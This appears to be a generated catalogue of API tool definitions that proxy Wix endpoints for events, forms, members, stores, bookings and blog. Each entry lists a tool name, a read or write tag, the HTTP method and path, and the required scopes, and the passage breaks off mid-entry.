wix_patch_events_v3_events_by_event_id (write) — Update Event via PATCH /events/v3/events/{event.id} PATCH /api/v1/wix/events/v3/events/{event_id}. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_patch_events_v3_ticket_definitions_by_ticketdefinition_id (write) — Update Ticket Definition via PATCH /events/v3/ticket-definitions/{ticketDefinition.id} PATCH /api/v1/wix/events/v3/ticket-definitions/{ticketDefinition_id}. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_patch_form_schema_service_v4_forms_by_form_id (write) — Update Form via PATCH /form-schema-service/v4/forms/{form.id} PATCH /api/v1/wix/form-schema-service/v4/forms/{form_id}. Scopes: SCOPE.FORMS.EDIT-FORM. wix_patch_forms_v4_submissions_by_submission_id (write) — Update Submission via PATCH /forms/v4/submissions/{submission.id} PATCH /api/v1/wix/forms/v4/submissions/{submission_id}. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_patch_members_v1_custom_fields_applications_by_application_customfieldid (write) — Update Custom Field Application via PATCH /members/v1/custom-fields-applications/{application.customFieldId} PATCH /api/v1/wix/members/v1/custom-fields-applications/{application_customFieldId}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_patch_members_v1_custom_fields_by_field_id (write) — Update Custom Field via PATCH /members/v1/custom-fields/{field.id} PATCH /api/v1/wix/members/v1/custom-fields/{field_id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_patch_members_v1_default_privacy_status (write) — Set Default Privacy Status via PATCH /members/v1/default-privacy-status PATCH /api/v1/wix/members/v1/default-privacy-status. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_patch_members_v1_members_by_member_id (write) — Update Member via PATCH /members/v1/members/{member.id} PATCH /api/v1/wix/members/v1/members/{member_id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_patch_members_v2_abouts_by_memberabout_id (write) — Update Member About via PATCH /members/v2/abouts/{memberAbout.id} PATCH /api/v1/wix/members/v2/abouts/{memberAbout_id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-ABOUT. wix_patch_stores_v3_brands_by_brand_id (write) — Update Brand via PATCH /stores/v3/brands/{brand.id} PATCH /api/v1/wix/stores/v3/brands/{brand_id}. Scopes: SCOPE.STORES.BRAND_WRITE. wix_patch_stores_v3_customizations_by_customization_id (write) — Update Customization via PATCH /stores/v3/customizations/{customization.id} PATCH /api/v1/wix/stores/v3/customizations/{customization_id}. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_patch_stores_v3_info_sections_by_infosection_id (write) — Update Info Section via PATCH /stores/v3/info-sections/{infoSection.id} PATCH /api/v1/wix/stores/v3/info-sections/{infoSection_id}. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_patch_stores_v3_inventory_items_by_inventoryitem_id (write) — Update Inventory Item via PATCH /stores/v3/inventory-items/{inventoryItem.id} PATCH /api/v1/wix/stores/v3/inventory-items/{inventoryItem_id}. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_patch_stores_v3_products_by_product_id (write) — Update Product via PATCH /stores/v3/products/{product.id} PATCH /api/v1/wix/stores/v3/products/{product_id}. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_patch_stores_v3_products_with_inventory_by_product_id (write) — Update Product With Inventory via PATCH /stores/v3/products-with-inventory/{product.id} PATCH /api/v1/wix/stores/v3/products-with-inventory/{product_id}. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_patch_stores_v3_ribbons_by_ribbon_id (write) — Update Ribbon via PATCH /stores/v3/ribbons/{ribbon.id} PATCH /api/v1/wix/stores/v3/ribbons/{ribbon_id}. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_api_booking_fees_v1_booking_fees_apply (write) — Apply Booking Fees To Order via POST /_api/booking-fees/v1/booking-fees/apply POST /api/v1/wix/_api/booking-fees/v1/booking-fees/apply. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_booking_fees_v1_booking_fees_collect (write) — Collect Applied Booking Fees via POST /_api/booking-fees/v1/booking-fees/collect POST /api/v1/wix/_api/booking-fees/v1/booking-fees/collect. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_reader_v2_extended_bookings_count (read) — Count Extended Bookings via POST /_api/bookings-reader/v2/extended-bookings/count POST /api/v1/wix/_api/bookings-reader/v2/extended-bookings/count. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR-WITH-PARTICIPANTS. wix_post_api_bookings_reader_v2_extended_bookings_query (read) — Query Extended Bookings via POST /_api/bookings-reader/v2/extended-bookings/query POST /api/v1/wix/_api/bookings-reader/v2/extended-bookings/query. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR-WITH-PARTICIPANTS. wix_post_api_bookings_service_v2_bookings (write) — Create Booking via POST /_api/bookings-service/v2/bookings POST /api/v1/wix/_api/bookings-service/v2/bookings. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_cancel (write) — Cancel Booking via POST /_api/bookings-service/v2/bookings/{bookingId}/cancel POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/cancel. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_confirm (write) — Confirm Booking via POST /_api/bookings-service/v2/bookings/{bookingId}/confirm POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/confirm. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_decline (write) — Decline Booking via POST /_api/bookings-service/v2/bookings/{bookingId}/decline POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/decline. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_mark_booking_as_pending (write) — Mark Booking As Pending via POST /_api/bookings-service/v2/bookings/{bookingId}/mark_booking_as_pending POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/mark_booking_as_pending. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_reschedule (write) — Reschedule Booking via POST /_api/bookings-service/v2/bookings/{bookingId}/reschedule POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/reschedule. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_set_booking_submission_id (write) — Set Booking Submission Id via POST /_api/bookings-service/v2/bookings/{bookingId}/set-booking-submission-id POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/set-booking-submission-id. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_bookingid_update_number_of_participants (write) — Update Number Of Participants via POST /_api/bookings-service/v2/bookings/{bookingId}/update_number_of_participants POST /api/v1/wix/_api/bookings-service/v2/bookings/{bookingId}/update_number_of_participants. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_bookings_by_id_update_extended_fields (write) — Update Extended Fields via POST /_api/bookings-service/v2/bookings/{id}/update_extended_fields POST /api/v1/wix/_api/bookings-service/v2/bookings/{id}/update_extended_fields. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings (write) — Create Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_cancel (write) — Cancel Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/cancel POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/cancel. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_confirm (write) — Confirm Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/confirm POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/confirm. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_decline (write) — Decline Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/decline POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/decline. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_get_availability (write) — Get Multi Service Booking Availability via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/get_availability POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/get_availability. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_mark_as_pending (write) — Mark Multi Service Booking As Pending via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/mark_as_pending POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/mark_as_pending. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid_reschedule (write) — Reschedule Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/reschedule POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}/reschedule. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_service_v2_multi_service_bookings_remove_bookings_from_multi_service_booking (write) — Remove Bookings From Multi Service Booking via POST /_api/bookings-service/v2/multi_service_bookings/remove_bookings_from_multi_service_booking POST /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/remove_bookings_from_multi_service_booking. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services (write) — Create Service via POST /_api/bookings/v2/services POST /api/v1/wix/_api/bookings/v2/services. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_add_on_groups_create (write) — Create Add On Group via POST /_api/bookings/v2/services/add-on-groups/create POST /api/v1/wix/_api/bookings/v2/services/add-on-groups/create. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_add_on_groups_delete (write) — Delete Add On Group via POST /_api/bookings/v2/services/add-on-groups/delete POST /api/v1/wix/_api/bookings/v2/services/add-on-groups/delete. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_add_on_groups_list_add_on_groups_by_service_id (write) — List Add On Groups By Service Id via POST /_api/bookings/v2/services/add-on-groups/list-add-on-groups-by-service-id POST /api/v1/wix/_api/bookings/v2/services/add-on-groups/list-add-on-groups-by-service-id. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_add_on_groups_set_add_ons_for_group (write) — Set Add Ons For Group via POST /_api/bookings/v2/services/add-on-groups/set-add-ons-for-group POST /api/v1/wix/_api/bookings/v2/services/add-on-groups/set-add-ons-for-group. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_add_on_groups_update (write) — Update Add On Group via POST /_api/bookings/v2/services/add-on-groups/update POST /api/v1/wix/_api/bookings/v2/services/add-on-groups/update. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_by_serviceid_locations (write) — Set Service Locations via POST /_api/bookings/v2/services/{serviceId}/locations POST /api/v1/wix/_api/bookings/v2/services/{serviceId}/locations. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_by_serviceid_pricing_plans_add (write) — Enable Pricing Plans For Service via POST /_api/bookings/v2/services/{serviceId}/pricing-plans/add POST /api/v1/wix/_api/bookings/v2/services/{serviceId}/pricing-plans/add. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_by_serviceid_pricing_plans_remove (write) — Disable Pricing Plans For Service via POST /_api/bookings/v2/services/{serviceId}/pricing-plans/remove POST /api/v1/wix/_api/bookings/v2/services/{serviceId}/pricing-plans/remove. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_by_serviceid_slugs_custom (write) — Set Custom Slug via POST /_api/bookings/v2/services/{serviceId}/slugs/custom POST /api/v1/wix/_api/bookings/v2/services/{serviceId}/slugs/custom. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_categories_query (write) — Query Categories via POST /_api/bookings/v2/services/categories/query POST /api/v1/wix/_api/bookings/v2/services/categories/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_clone (write) — Clone Service via POST /_api/bookings/v2/services/clone POST /api/v1/wix/_api/bookings/v2/services/clone. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_bookings_v2_services_count (read) — Count Services via POST /_api/bookings/v2/services/count POST /api/v1/wix/_api/bookings/v2/services/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_locations_query (write) — Query Locations via POST /_api/bookings/v2/services/locations/query POST /api/v1/wix/_api/bookings/v2/services/locations/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_policies_query (write) — Query Policies via POST /_api/bookings/v2/services/policies/query POST /api/v1/wix/_api/bookings/v2/services/policies/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_query (read) — Query Services via POST /_api/bookings/v2/services/query POST /api/v1/wix/_api/bookings/v2/services/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_search (read) — Search Services via POST /_api/bookings/v2/services/search POST /api/v1/wix/_api/bookings/v2/services/search. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_api_bookings_v2_services_slugs_validate (write) — Validate Slug via POST /_api/bookings/v2/services/slugs/validate POST /api/v1/wix/_api/bookings/v2/services/slugs/validate. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_api_service_availability_v2_multi_service_time_slots (write) — List Multi Service Availability Time Slots via POST /_api/service-availability/v2/multi-service-time-slots POST /api/v1/wix/_api/service-availability/v2/multi-service-time-slots. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_api_service_availability_v2_multi_service_time_slots_get (write) — Get Multi Service Availability Time Slot via POST /_api/service-availability/v2/multi-service-time-slots/get POST /api/v1/wix/_api/service-availability/v2/multi-service-time-slots/get. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_api_service_availability_v2_time_slots (write) — List Availability Time Slots via POST /_api/service-availability/v2/time-slots POST /api/v1/wix/_api/service-availability/v2/time-slots. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_api_service_availability_v2_time_slots_event (write) — List Event Time Slots via POST /_api/service-availability/v2/time-slots/event POST /api/v1/wix/_api/service-availability/v2/time-slots/event. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_api_service_availability_v2_time_slots_get (write) — Get Availability Time Slot via POST /_api/service-availability/v2/time-slots/get POST /api/v1/wix/_api/service-availability/v2/time-slots/get. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_post_blog_v3_bulk_draft_posts_create (write) — Bulk Create Draft Posts via POST /blog/v3/bulk/draft-posts/create POST /api/v1/wix/blog/v3/bulk/draft-posts/create. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_blog_v3_categories (write) — Create Category via POST /blog/v3/categories POST /api/v1/wix/blog/v3/categories. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_blog_v3_categories_query (read) — Query Categories via POST /blog/v3/categories/query POST /api/v1/wix/blog/v3/categories/query. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_post_blog_v3_draft_posts (write) — Create Draft Post via POST /blog/v3/draft-posts POST /api/v1/wix/blog/v3/draft-posts. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_blog_v3_draft_posts_by_draftpostid_publish (write) — Publish Draft Post via POST /blog/v3/draft-posts/{draftPostId}/publish POST /api/v1/wix/blog/v3/draft-posts/{draftPostId}/publish. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_blog_v3_draft_posts_query (read) — Query Draft Posts via POST /blog/v3/draft-posts/query POST /api/v1/wix/blog/v3/draft-posts/query. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_blog_v3_draft_posts_trash_bin_by_draftpostid_restore (write) — Restore From Trash Bin via POST /blog/v3/draft-posts/trash-bin/{draftPostId}/restore POST /api/v1/wix/blog/v3/draft-posts/trash-bin/{draftPostId}/restore. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_post_bookings_attendance_v2_attendance_query (read) — Query Attendance via POST /bookings/attendance/v2/attendance/query POST /api/v1/wix/bookings/attendance/v2/attendance/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE. wix_post_bookings_attendance_v2_attendance_set (write) — Set Attendance via POST /bookings/attendance/v2/attendance/set POST /api/v1/wix/bookings/attendance/v2/attendance/set. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_multiservicebookings_v2_bulk_multi_service_bookings_get_allowed_actions (write) — Bulk Get Multi Service Booking Allowed Actions via POST /bookings/multiServiceBookings/v2/bulk/multi_service_bookings/get_allowed_actions POST /api/v1/wix/bookings/multiServiceBookings/v2/bulk/multi_service_bookings/get_allowed_actions. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_multiservicebookings_v2_multi_service_bookings_add_bookings_to_multi_service_booking (write) — Add Bookings To Multi Service Booking via POST /bookings/multiServiceBookings/v2/multi_service_bookings/add_bookings_to_multi_service_booking POST /api/v1/wix/bookings/multiServiceBookings/v2/multi_service_bookings/add_bookings_to_multi_service_booking. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_booking_policies (write) — Create Booking Policy via POST /bookings/v1/booking-policies POST /api/v1/wix/bookings/v1/booking-policies. Scopes: SCOPE.BOOKINGS.CONFIGURATION. wix_post_bookings_v1_booking_policies_by_bookingpolicyid_setdefault (write) — Set Default Booking Policy via POST /bookings/v1/booking-policies/{bookingPolicyId}:setDefault POST /api/v1/wix/bookings/v1/booking-policies/{bookingPolicyId}:setDefault. Scopes: SCOPE.BOOKINGS.CONFIGURATION. wix_post_bookings_v1_booking_policies_count (write) — Count Booking Policies via POST /bookings/v1/booking-policies/count POST /api/v1/wix/bookings/v1/booking-policies/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_booking_policies_query (read) — Query Booking Policies via POST /bookings/v1/booking-policies/query POST /api/v1/wix/bookings/v1/booking-policies/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_booking_policies_strictest (write) — Get Strictest Booking Policy via POST /bookings/v1/booking-policies/strictest POST /api/v1/wix/bookings/v1/booking-policies/strictest. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_bulk_staff_members_update_tags (write) — Bulk Update Staff Member Tags via POST /bookings/v1/bulk/staff-members/update-tags POST /api/v1/wix/bookings/v1/bulk/staff-members/update-tags. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_bulk_staff_members_update_tags_by_filter (write) — Bulk Update Staff Member Tags By Filter via POST /bookings/v1/bulk/staff-members/update-tags-by-filter POST /api/v1/wix/bookings/v1/bulk/staff-members/update-tags-by-filter. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_serviceoptionsandvariants (write) — Create Service Options And Variants via POST /bookings/v1/serviceOptionsAndVariants POST /api/v1/wix/bookings/v1/serviceOptionsAndVariants. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_serviceoptionsandvariants_by_clonefromid_clone (write) — Clone Service Options And Variants via POST /bookings/v1/serviceOptionsAndVariants/{cloneFromId}/clone POST /api/v1/wix/bookings/v1/serviceOptionsAndVariants/{cloneFromId}/clone. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_serviceoptionsandvariants_query (read) — Query Service Options And Variants via POST /bookings/v1/serviceOptionsAndVariants/query POST /api/v1/wix/bookings/v1/serviceOptionsAndVariants/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_staff_members (write) — Create Staff Member via POST /bookings/v1/staff-members POST /api/v1/wix/bookings/v1/staff-members. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_staff_members_by_staffmemberid_assign_working_hours_schedule (write) — Assign Working Hours Schedule via POST /bookings/v1/staff-members/{staffMemberId}/assign-working-hours-schedule POST /api/v1/wix/bookings/v1/staff-members/{staffMemberId}/assign-working-hours-schedule. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_staff_members_by_staffmemberid_connect_staff_member_to_user (write) — Connect Staff Member To User via POST /bookings/v1/staff-members/{staffMemberId}/connect-staff-member-to-user POST /api/v1/wix/bookings/v1/staff-members/{staffMemberId}/connect-staff-member-to-user. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_staff_members_by_staffmemberid_disconnect_staff_member_from_user (write) — Disconnect Staff Member From User via POST /bookings/v1/staff-members/{staffMemberId}/disconnect-staff-member-from-user POST /api/v1/wix/bookings/v1/staff-members/{staffMemberId}/disconnect-staff-member-from-user. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v1_staff_members_count (write) — Count Staff Members via POST /bookings/v1/staff-members/count POST /api/v1/wix/bookings/v1/staff-members/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_staff_members_query (read) — Query Staff Members via POST /bookings/v1/staff-members/query POST /api/v1/wix/bookings/v1/staff-members/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v1_staff_members_search (read) — Search Staff Members via POST /bookings/v1/staff-members/search POST /api/v1/wix/bookings/v1/staff-members/search. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_bulk_attendance_delete (write) — Bulk Delete Attendances via POST /bookings/v2/bulk/attendance/delete POST /api/v1/wix/bookings/v2/bulk/attendance/delete. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_attendance_set (write) — Bulk Set Attendance via POST /bookings/v2/bulk/attendance/set POST /api/v1/wix/bookings/v2/bulk/attendance/set. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_bookings_calculate_allowed_actions (write) — Bulk Calculate Allowed Actions via POST /bookings/v2/bulk/bookings/calculate_allowed_actions POST /api/v1/wix/bookings/v2/bulk/bookings/calculate_allowed_actions. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_bulk_bookings_confirmordecline (write) — Bulk Confirm Or Decline Booking via POST /bookings/v2/bulk/bookings/confirmOrDecline POST /api/v1/wix/bookings/v2/bulk/bookings/confirmOrDecline. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_bookings_create (write) — Bulk Create Booking via POST /bookings/v2/bulk/bookings/create POST /api/v1/wix/bookings/v2/bulk/bookings/create. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_resources_create (write) — Bulk Create Resources via POST /bookings/v2/bulk/resources/create POST /api/v1/wix/bookings/v2/bulk/resources/create. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_resources_delete (write) — Bulk Delete Resources via POST /bookings/v2/bulk/resources/delete POST /api/v1/wix/bookings/v2/bulk/resources/delete. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_resources_update (write) — Bulk Update Resources via POST /bookings/v2/bulk/resources/update POST /api/v1/wix/bookings/v2/bulk/resources/update. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_services_create (write) — Bulk Create Services via POST /bookings/v2/bulk/services/create POST /api/v1/wix/bookings/v2/bulk/services/create. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_services_delete (write) — Bulk Delete Services via POST /bookings/v2/bulk/services/delete POST /api/v1/wix/bookings/v2/bulk/services/delete. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_services_delete_by_filter (write) — Bulk Delete Services By Filter via POST /bookings/v2/bulk/services/delete-by-filter POST /api/v1/wix/bookings/v2/bulk/services/delete-by-filter. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_services_update (write) — Bulk Update Services via POST /bookings/v2/bulk/services/update POST /api/v1/wix/bookings/v2/bulk/services/update. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_bulk_services_update_by_filter (write) — Bulk Update Services By Filter via POST /bookings/v2/bulk/services/update-by-filter POST /api/v1/wix/bookings/v2/bulk/services/update-by-filter. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_categories (write) — Create Category via POST /bookings/v2/categories POST /api/v1/wix/bookings/v2/categories. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_categories_count (read) — Count Categories via POST /bookings/v2/categories/count POST /api/v1/wix/bookings/v2/categories/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_categories_query (read) — Query Categories via POST /bookings/v2/categories/query POST /api/v1/wix/bookings/v2/categories/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_categories_set_position_by_categoryid (write) — Move Category via POST /bookings/v2/categories/set-position/{categoryId} POST /api/v1/wix/bookings/v2/categories/set-position/{categoryId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_confirmation_by_bookingid_confirmordecline (write) — Confirm Or Decline Booking via POST /bookings/v2/confirmation/{bookingId}:confirmOrDecline POST /api/v1/wix/bookings/v2/confirmation/{bookingId}:confirmOrDecline. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_external_calendars_connections_by_connectionid_disconnect (write) — Disconnects a Wix schedule from an external calendar and deletes all Wix calendar [events](https://dev.wix.com/docs/api-reference/business-… via POST /bookings/v2/external-calendars/connections/{connectionId}/disconnect POST /api/v1/wix/bookings/v2/external-calendars/connections/{connectionId}/disconnect. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_post_bookings_v2_external_calendars_connections_connectbycredentials (write) — Connect By Credentials via POST /bookings/v2/external-calendars/connections:connectByCredentials POST /api/v1/wix/bookings/v2/external-calendars/connections:connectByCredentials. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_post_bookings_v2_external_calendars_connections_connectbyoauth (write) — Connect By O Auth via POST /bookings/v2/external-calendars/connections:connectByOAuth POST /api/v1/wix/bookings/v2/external-calendars/connections:connectByOAuth. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_post_bookings_v2_pricing_v2_pricing_calculate (write) — Calculate Price via POST /bookings/v2/pricing/v2/pricing/calculate POST /api/v1/wix/bookings/v2/pricing/v2/pricing/calculate. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE. wix_post_bookings_v2_pricing_v2_pricing_preview (write) — Preview Price via POST /bookings/v2/pricing/v2/pricing/preview POST /api/v1/wix/bookings/v2/pricing/v2/pricing/preview. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE. wix_post_bookings_v2_resources (write) — Create Resource via POST /bookings/v2/resources POST /api/v1/wix/bookings/v2/resources. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_resources_count (read) — Count Resources via POST /bookings/v2/resources/count POST /api/v1/wix/bookings/v2/resources/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_resources_query (read) — Query Resources via POST /bookings/v2/resources/query POST /api/v1/wix/bookings/v2/resources/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_resources_resource_types 